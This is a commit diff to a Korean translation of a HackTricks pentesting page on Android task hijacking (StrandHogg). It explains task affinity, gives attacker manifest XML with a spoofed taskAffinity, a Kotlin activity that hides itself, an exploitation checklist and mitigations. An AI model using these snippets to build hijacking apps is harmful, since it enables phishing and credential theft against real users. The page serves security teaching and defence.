mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h
This commit is contained in:
parent
81b1de0e1a
commit
b456a37ec8
@ -2,52 +2,102 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## 작업, 백 스택 및 포그라운드 활동
|
## Task, Back Stack and Foreground Activities
|
||||||
|
|
||||||
Android에서 **작업**은 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **백 스택** 내에 조직됩니다. 이 스택은 활동이 열린 순서에 따라 정렬되며, 가장 최근의 활동이 가장 위에 표시되어 **포그라운드 활동**이 됩니다. 언제든지 이 활동만 화면에 표시되어 **포그라운드 작업**의 일부가 됩니다.
|
안드로이드에서 **task**는 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **back stack** 내에 조직됩니다. 이 스택은 활동이 열린 순서에 따라 정렬되며, 가장 최근의 활동이 **foreground activity**로 화면 상단에 표시됩니다. 언제든지 이 활동만 화면에 보이므로 **foreground task**의 일부가 됩니다.
|
||||||
|
|
||||||
활동 전환에 대한 간단한 설명은 다음과 같습니다:
|
활동 전환에 대한 간단한 요약은 다음과 같습니다:
|
||||||
|
|
||||||
- **활동 1**은 포그라운드에서 유일한 활동으로 시작됩니다.
|
- **Activity 1**은 foreground에서 유일한 활동으로 시작됩니다.
|
||||||
- **활동 2**를 시작하면 **활동 1**이 백 스택으로 밀려나고, **활동 2**가 포그라운드로 옵니다.
|
- **Activity 2**를 시작하면 **Activity 1**이 back stack으로 밀려나고, **Activity 2**가 foreground로 올라옵니다.
|
||||||
- **활동 3**을 시작하면 **활동 1**과 **활동 2**가 스택에서 더 뒤로 밀려나고, **활동 3**이 앞에 오게 됩니다.
|
- **Activity 3**을 시작하면 **Activity 1**과 **Activity 2**가 스택에서 더 뒤로 밀리고, **Activity 3**이 이제 앞에 위치합니다.
|
||||||
- **활동 3**을 닫으면 **활동 2**가 다시 포그라운드로 돌아와 Android의 간소화된 작업 탐색 메커니즘을 보여줍니다.
|
- **Activity 3**을 닫으면 **Activity 2**가 다시 foreground로 돌아와 안드로이드의 간소화된 작업 탐색 메커니즘을 보여줍니다.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## 작업 친화성 공격
|
---
|
||||||
|
|
||||||
### 작업 친화성 및 시작 모드 개요
|
## Task affinity attacks
|
||||||
|
|
||||||
Android 애플리케이션에서 **작업 친화성**은 활동의 선호 작업을 지정하며, 일반적으로 앱의 패키지 이름과 일치합니다. 이 설정은 공격을 시연하기 위한 개념 증명(PoC) 앱을 만드는 데 중요합니다.
|
`taskAffinity`는 안드로이드에 `Activity`가 *선호하는* 작업을 알려줍니다. 두 활동이 동일한 affinity를 공유할 경우 **안드로이드는 서로 다른 APK에서 온 경우에도 동일한 back-stack 내에서 이를 병합할 수 있습니다**.
|
||||||
|
|
||||||
### 시작 모드
|
공격자가 그 스택의 **root**에 악성 활동을 배치할 수 있다면, 피해자가 합법적인 애플리케이션을 열 때마다 악성 UI가 사용자가 가장 먼저 보는 것이 됩니다 – 피싱이나 악용 권한 요청에 완벽합니다.
|
||||||
|
|
||||||
`launchMode` 속성은 작업 내에서 활동 인스턴스의 처리를 지시합니다. **singleTask** 모드는 이 공격에 중요한 역할을 하며, 기존 활동 인스턴스와 작업 친화성 일치에 따라 세 가지 시나리오를 지시합니다. 이 익스플로잇은 공격자의 앱이 대상 앱의 작업 친화성을 모방할 수 있는 능력에 의존하여, Android 시스템이 의도된 대상을 대신하여 공격자의 앱을 시작하도록 오도합니다.
|
공격 표면은 많은 개발자들이 생각하는 것보다 넓습니다. 왜냐하면 **모든 활동은 자동으로 애플리케이션 패키지 이름과 동일한 affinity를 상속받기 때문입니다** (개발자가 `android:taskAffinity=""`를 설정하지 않는 한). 따라서 *아무것도 하지 않는 것*만으로도 안드로이드 11 이전 버전에서 작업 하이재킹에 노출됩니다.
|
||||||
|
|
||||||
### 상세 공격 단계
|
### Classic "singleTask / StrandHogg" scenario
|
||||||
|
|
||||||
1. **악성 앱 설치**: 피해자가 공격자의 앱을 자신의 장치에 설치합니다.
|
1. 공격자는 다음과 같이 활동을 선언합니다:
|
||||||
2. **초기 활성화**: 피해자가 처음으로 악성 앱을 열어 공격을 위한 장치를 설정합니다.
|
```xml
|
||||||
3. **대상 앱 실행 시도**: 피해자가 대상 앱을 열려고 시도합니다.
|
<activity android:name=".EvilActivity"
|
||||||
4. **하이재킹 실행**: 어느 시점에서 앱이 **singleTask** 뷰를 열려고 합니다. 일치하는 작업 친화성으로 인해 악성 앱이 대상 앱 대신 실행됩니다.
|
android:exported="true"
|
||||||
5. **기만**: 악성 앱이 대상 앱과 유사한 가짜 로그인 화면을 표시하여 사용자가 민감한 정보를 입력하도록 속입니다.
|
android:taskAffinity="com.victim.package"
|
||||||
|
android:launchMode="singleTask" >
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN"/>
|
||||||
|
<category android:name="android.intent.category.LAUNCHER"/>
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
```
|
||||||
|
2. 악성 앱이 한 번 시작되어 (스푸핑된 affinity를 가진) 작업이 최근 작업에 존재하게 됩니다.
|
||||||
|
3. 사용자가 나중에 실제 애플리케이션을 열면, 안드로이드는 이미 **root affinity가 패키지와 일치하는 작업**이 있음을 찾아 그 작업을 foreground로 가져옵니다.
|
||||||
|
4. 공격자의 UI가 먼저 표시됩니다.
|
||||||
|
|
||||||
> [!TIP]
|
### Default–Affinity (no `singleTask`) variant – Caller ID case study
|
||||||
> 이 공격이 작동하려면 취약한 뷰가 **exported to true**일 필요는 없으며, 메인 활동일 필요도 없습니다.
|
|
||||||
|
|
||||||
이 공격의 실용적인 구현에 대해서는 GitHub의 Task Hijacking Strandhogg 리포지토리를 참조하십시오: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
**Caller ID (caller.id.phone.number.block)** 애플리케이션에서 보고된 취약점은 공격이 *기본 `standard` 실행 모드에 대해서도* 작동함을 보여줍니다:
|
||||||
|
|
||||||
### 예방 조치
|
1. 공격자 애플리케이션이 가짜 루트 활동을 생성하고 즉시 자신을 숨깁니다:
|
||||||
|
```kotlin
|
||||||
|
class HackActivity : AppCompatActivity() {
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
moveTaskToBack(true) // 작업을 최근 목록에 유지하되 시야에서 벗어나게 함
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
2. 매니페스트는 피해자 패키지를 `taskAffinity`에 복사하기만 하면 됩니다:
|
||||||
|
```xml
|
||||||
|
<activity android:name=".HackActivity"
|
||||||
|
android:exported="true"
|
||||||
|
android:taskAffinity="com.caller.id.phone.number.block" >
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN"/>
|
||||||
|
<category android:name="android.intent.category.LAUNCHER"/>
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
```
|
||||||
|
3. 사용자가 악성 앱을 **한 번** 설치하고 열면, 피해자 패키지와 동일한 affinity를 가진 작업이 존재하게 됩니다 (하지만 백그라운드에 위치).
|
||||||
|
4. 실제 Caller ID 애플리케이션이 실행되면, 안드로이드는 그 작업을 재사용하고 `HackActivity`를 foreground로 가져옵니다 → 피싱 창/권한 남용.
|
||||||
|
|
||||||
이러한 공격을 방지하기 위해 개발자는 다음을 수행할 수 있습니다:
|
> NOTE: **Android 11 (API 30)**부터 시스템은 기본적으로 동일한 UID에 속하지 않는 두 패키지를 동일한 작업에 배치하지 않으므로, 이 특정 변형을 완화합니다. 이전 버전은 여전히 취약합니다.
|
||||||
- **`**taskAffinity`**를 **singleTask** 뷰에 대해 빈 문자열로 설정 (`android:taskAffinity=""`)
|
|
||||||
- **`singleInstance`** 시작 모드를 선택하여 자신의 앱이 다른 앱과 격리되도록 합니다.
|
|
||||||
- **`onBackPressed()`** 함수를 사용자 정의하여 작업 하이재킹에 대한 추가 보호를 제공합니다.
|
|
||||||
|
|
||||||
## **참고 문헌**
|
---
|
||||||
|
|
||||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
## Detection & Exploitation checklist
|
||||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
|
||||||
|
1. 대상 APK에서 `AndroidManifest.xml`을 가져와 각 `<activity>` (또는 전역 `<application>` 요소)가 `android:taskAffinity=""` (비어 있음) **또는** 사용자 정의 값을 포함하는지 확인합니다.
|
||||||
|
2. 그렇지 않은 경우, 악성 앱을 제작합니다:
|
||||||
|
- `android:taskAffinity` = 피해자 패키지 이름.
|
||||||
|
- 사용자가 한 번 열 수 있도록 `MAIN/LAUNCHER` 인텐트를 제공합니다.
|
||||||
|
- 선택적으로 즉시 숨기기 위해 `moveTaskToBack(true)`를 호출합니다.
|
||||||
|
3. 피해자가 합법적인 애플리케이션을 열도록 합니다 → 하이재킹.
|
||||||
|
|
||||||
|
## Mitigation
|
||||||
|
|
||||||
|
개발자는 다음을 수행해야 합니다:
|
||||||
|
|
||||||
|
* `<application>` 수준에서 `android:taskAffinity=""`를 명시적으로 설정합니다 (권장) **또는** 각 활동에 고유하고 개인적인 affinity를 부여합니다.
|
||||||
|
* 매우 민감한 화면의 경우, 위의 내용을 `android:launchMode="singleInstance"` 또는 현대적인 [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) 보호와 결합합니다.
|
||||||
|
* 앱의 `targetSdkVersion`을 업그레이드하고 기본적으로 패키지 간에 작업이 공유되지 않는 **Android 11** 동작 변경 사항을 적용합니다.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||||
|
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||||
|
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
|
||||||
|
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user